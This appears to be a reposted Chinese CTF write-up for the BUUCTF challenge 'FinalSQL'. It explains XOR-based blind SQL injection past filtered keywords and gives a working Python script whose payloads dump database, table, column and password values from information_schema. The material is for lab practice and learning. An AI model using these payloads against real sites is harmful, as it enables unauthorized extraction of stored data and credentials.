Java教程

[极客大挑战 2019]FinalSQL-异或注入

本文主要是介绍[极客大挑战 2019]FinalSQL-异或注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1、首先打开题目如下:

2、寻找注入点,点击神秘代码发现会返回不同的信息,然后尝试union、and等关键字发现被屏蔽,如下:

3、关键词被过滤了,使用不了报错注入、联合注入、bool注入,因此想到了异或注入,经过尝试发现^符号未被过滤,(1^2=3),如下:

4、发现了注入点就需要进行尝试去编写脚本去获取数据库名称、表名称、列名称、数据库内的值,因为这里与[WUSTCTF2020]颜值成绩查询-1关卡类似,其脚本语言也是类似,在做[WUSTCTF2020]颜值成绩查询-1关卡时已写过一遍获取flag的脚本,因此这里直接在网上查找了下,最终通过以下脚本获取到flag值,脚本和结果如下:

import time

import requests
url = "http://e92fadb9-dc06-4156-8184-cb5346128636.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+data)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        time.sleep(0.1)
    flag += chr(low)
    print("\r", end="")
    print(flag,end='')

强烈推荐完成此关卡之后去学习下:[WUSTCTF2020]颜值成绩查询-1关卡,这里是记录的自己的[WUSTCTF2020]颜值成绩查询-1关卡通关过程,包含每一步的思路和判断,最后的代码只需要执行就可获取flag:https://www.cnblogs.com/upfine/p/16367693.html

这篇关于[极客大挑战 2019]FinalSQL-异或注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!